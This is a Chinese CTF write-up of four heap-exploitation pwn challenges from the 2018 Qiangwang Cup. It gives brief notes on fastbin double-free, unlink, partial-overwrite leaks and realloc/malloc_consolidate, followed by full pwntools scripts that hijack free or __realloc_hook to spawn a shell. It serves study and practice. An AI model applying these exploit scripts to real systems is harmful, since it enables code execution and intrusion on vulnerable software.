CTF-PWN

第二届强网杯pwn writeup[部分]

2018-06-03  本文已影响0人  Fish_o0O

0x00 前言

看神仙打架系列,题太多了,自己太菜了,还是只有沦落到赛后复现大佬们的Write Up的地步了,什么时候才能在比赛中做出来几道pwn题呢

0x01 Silent

Fastbin Attack
malloc回来的时候会检查size位,看这个堆块是不是属于该Fastbin中,不过只检查低4字节,如果size位为61,那么检查时61-6f都能通过。

from pwn import *
local = 1
if local:
    p = process('./silent')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
    p = remote('39.107.32.132' , 10000)#nc 39.107.32.132 10000
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def add(length , text):
    p.sendline('1')
    sleep(0.3)
    p.sendline(str(length))
    sleep(0.3)
    p.sendline(text)
    sleep(0.3)

def dele(num):
    p.sendline('2')
    sleep(0.3)
    p.sendline(str(num))
    sleep(0.3)

def edit(num , text):
    p.sendline('3')
    sleep(0.3)
    p.sendline(str(num))
    sleep(0.3)
    p.sendline(text)
    sleep(0.3)
    p.sendline('')

def debug():
    print pidof(p)[0]
    raw_input()

elf = ELF('./silent')
p.recvuntil('==+RWBXtIRRV+.+IiYRBYBRRYYIRI;VitI;=;..........:::.::;::::...;;;:.')
fake_chunk = 0x601ffa
system_plt = 0x400730
success('fake_chunk => ' + hex(fake_chunk))
success('system_plt => ' + hex(system_plt))
add(0x50 , 'a' * 0x4f)#chunk 0  rabbish
add(0x50 , 'b' * 0x4f)#chunk 1  rabbish
add(0x50 , 'c' * 0x4f)
#debug()
dele(0)#fastbin->chunk0
dele(1)#fastbin->chunk1->chunk0
debug()
dele(0)#fastbin->chunk0->chunk1->chunk0
add(0x50 , p64(fake_chunk))#fastbin->chunk1->chunk0->0x601ffa   fd
add(0x50 , '/bin/sh\x00')#fastbin->chunk0->0x601ffa rabbish
add(0x50 , 'c' * 0x4f)#fastbin->0x601ffa    command(chunk1)
add(0x50 , 'A' * 0xe + p64(system_plt))#free=>system
dele(1)#free(chunk1)=>system('/bin/sh\x00')
#debug()
p.interactive()

0x02 Silent2

sleep的重要性
经过这到题,我领悟到了sleep的重要性,尤其是这种没有信息交互的地方更是致命,明明各种条件都构造好了,都满足了,却迟迟不能稳定起shell,最后sleep之后就顺利稳定起shell了。

from pwn import *
local = 1
if local:
    p = process('./silent2')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
    p = remote('39.107.32.132' , 10001)#nc 39.107.32.132 10001
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def add(length , text):
    p.sendline('1')
    sleep(0.1)
    p.sendline(str(length))
    sleep(0.1)
    p.sendline(text)
    sleep(0.1)

def dele(num):
    p.sendline('2')
    sleep(0.1)
    p.sendline(str(num))
    sleep(0.1)

def edit(num , text):
    p.sendline('3')
    sleep(0.1)
    p.sendline(str(num))
    sleep(0.1)
    p.sendline(text)
    sleep(0.1)
    p.sendline('')
    sleep(0.1)

def debug():
    print pidof(p)[0]
    raw_input()

elf = ELF('./silent2')
chunk0_addr = 0x6020d8
p.recvuntil('==+RWBXtIRRV+.+IiYRBYBRRYYIRI;VitI;=;..........:::.::;::::...;;;:.')
add(0x80 , '1' * 0x7f)
add(0x80 , '/bin/sh\x00')
add(0x80 , '3' * 0x7f)
add(0x80 , 'a' * 0x7f)
add(0x80 , 'b' * 0x7f)
add(0x100 , 'c' * 0xff)
add(0x80 , 'd' * 0x7f)
dele(4)
dele(5)
payload = p64(0) + p64(0x110) + p64(chunk0_addr - 0x18) + p64(chunk0_addr - 0x10)
add(0x190 , 'e' * 0x80 + p64(0x110) + p64(0x90) + 'e' * 0x80 + p64(0x90) + p64(0x81))
edit(3 , payload)
dele(5)
#----finish unlink----
free_got = elf.got['free']
success('free_got => ' + hex(free_got))
system_plt = elf.plt['system']
success('system_plt => ' + hex(system_plt))
edit(3 , p64(free_got))
edit(0 , p64(system_plt))
dele(1)
#debug()
p.interactive()

0x03 opm

分析题目可得出数据结构如下:

struct stru{
    int (func*)();
    char *name_ptr;
    int length;
    int punches;
}

leak程序段基址
根据WriteUp分析了半天才看出来是怎么构造的,还是太菜了,这也是为什么这个利用思路写的这么拖沓的原因。。。我们先多add几次,将地址抬高到_d00的位置,再次add时,第一次覆盖结构体时输入0x81位,将结构体覆盖为00xx,使后面的name_ptr、length、punches都写到00xx后的地址上去,此时00xx + 8name_ptr指针,指向name字符串,但这个name_ptr的值为d_,若我们能将后面一个字节覆盖成00就可以在第二次覆盖结构体时将结构体再次改为00xx去,利用kill打印出我们事先在_d00布置好的程序段地址。此时就利用字节不对齐的方式进行最低位改为00的操作,在将_d00布置好后的下一次add中的第一次覆盖我们将结构体覆盖为00xx此次add不触发第二次覆盖。然后再在下一次的add中的第一次覆盖时,我们将结构体覆盖为00xx - 15,覆盖后会在对length进行赋值,即00xx - 15 + 16进行赋值时,将刚刚的d_最低位(地址为00xx + 9)覆盖成00然后在第二次覆盖时,将结构体又覆盖会00xx,调用kill函数即可实现leak

第一次add结束
第二次add结束
from pwn import *

local = 1

if local:
    p = process('./opm')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
    print 'time is up'

def add(name , punches):
    p.recvuntil('(E)xit\n')
    p.sendline('A')
    p.recvuntil('name:\n')
    p.sendline(name)
    sleep(0.1)
    p.recvuntil('punch?\n')
    p.sendline(str(punches))
    sleep(0.1)

def show():
    p.recvuntil('(E)xit\n')
    p.sendline('S')

def debug():
    print pidof(p)[0]
    raw_input()

elf = ELF('./opm')
#one_gadget = 0x45216 0x4526a 0xf02a4 0xf1147

#step 1 leak elf_base
add('a' * 0x30 , 0x10)
add('b' * 0x30 , 0x20)
add('c' , 0x30)
add('d' * 0x80 + '\x63' , 0x40)
debug()
add('e' * 0x80 + '\x54' , '1' * 0x80 + '\x63')
#use 0054 + 0x10 (v6 -> length) to make a d00  ,  change 0054 to 0063 to point d00
elf.address = u64(p.recvuntil('>')[1:-1] + '\x00' * 2) - 0xb30
success('elf_base => ' + hex(elf.address))

#step 2 use f00 to leak libc_base
atoi_got = elf.got['atoi']
success('atoi_got => ' + hex(atoi_got))
add('f' * 8 + p64(atoi_got) , 0x50)
add('g'  , 'g' * 0x80)
libc.address = u64(p.recvuntil('>')[1:-1] + '\x00' * 2) - libc.symbols['atoi']
success('libc_base => ' + hex(libc.address))

#step 3 use 000 and show() to trigger one_gadget
one_gadget = libc.address + 0x4526a
add('h' * 0x60 + p64(one_gadget), '')
add('i' * 0x80 , '')
show()

#debug()
p.interactive()


0x04 note

realloc
函数原型为realloc(ptr, size),其中ptr为指向堆的指针,size为需要realloc的大小,根据size的大小有以下几种情况:

  • size = 0时,相当于free(ptr)
  • size < ptr原大小时,会将原chunk分割为两部分,free掉后面的chunk
  • size = ptr原大小时,没什么卵用,不会进行任何操作。注:该等于为将size对齐后相等。
  • size > ptr原大小时,若ptr下方为top chunk或者下方存在fastbin之外的free chunk并且size(free chunk) + size(ptr原大小) ≥ size,则将该堆块大小扩展至size,若不满足上述条件,则相当于free(ptr)然后malloc(size)

malloc_consolidate
该函数会将fastbin中的所有chunk整合到unsort bin中,并且在从fastbin中摘下chunk时会检查相邻的堆块是否为free状态,若为free状态则将触发堆融合。本题采用malloc大于top chunksize触发malloc_consolidate

from pwn import *
local = 1

if local:
    p = remote('0' , 1234)
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
    print 'time is up'

def change_title(title):
    p.recvuntil('--->>\n')
    p.sendline('1')
    p.recvuntil('title:')
    p.send(title)                   #off_by_one

def change_content(size , content):
    p.recvuntil('--->>')
    p.sendline('2')
    p.recvuntil('256):')
    p.sendline(str(size))
    p.recvuntil('content:')
    p.sendline(content)

def change_comment(comment):
    p.recvuntil('--->>')
    p.sendline('3')
    p.recvuntil('comment:')
    p.sendline(comment)

def show():
    p.recvuntil('--->>')
    p.sendline('4')
    p.recvuntil('is:')
    return p.recvuntil('\n')[:-1]

#step1 leak libc_base
libc.address = u64(show().ljust(8 , '\x00')) - 0x3c4b78
success('libc_base => ' + hex(libc.address))

system_addr = libc.symbols['system']
info('system_addr => ' + hex(system_addr))
realloc_hook = libc.symbols['__realloc_hook']
info('realloc_hook => ' + hex(realloc_hook))
binsh_addr = libc.search('/bin/sh\x00').next()
info('binsh_addr => ' + hex(binsh_addr))

#step2 make unlink
content = 0x602070
payload = p64(0x30) + p64(0x20) + p64(content - 0x18) + p64(content - 0x10) + p64(0x20) + '\x40'
change_content(0x78 , 0x38 * 'A' + p64(0x41))
change_title(payload)

#step3 free content to fastbin
change_content(0x100 , '')

#step4 trigger malloc_consolidate to unlink
change_content(0x20000 , '')

#step5 realloc_hook -> system
change_title(p64(realloc_hook) + '\n')
change_comment(p64(system_addr))

#step6 reset chance & content -> /bin/sh
change_title(p64(0x602050) + p64(binsh_addr) + '\n')
change_comment(p64(0))

#step7 realloc(content , size) => realloc_hook(binsh_addr) => system('/bin/sh\x00')
p.recvuntil('option--->>')
p.sendline('2')
p.recvuntil('(64-256):')
p.sendline('')          #size doesn't matter

#Get Shell & Have Fun
p.interactive()
上一篇 下一篇

猜你喜欢

热点阅读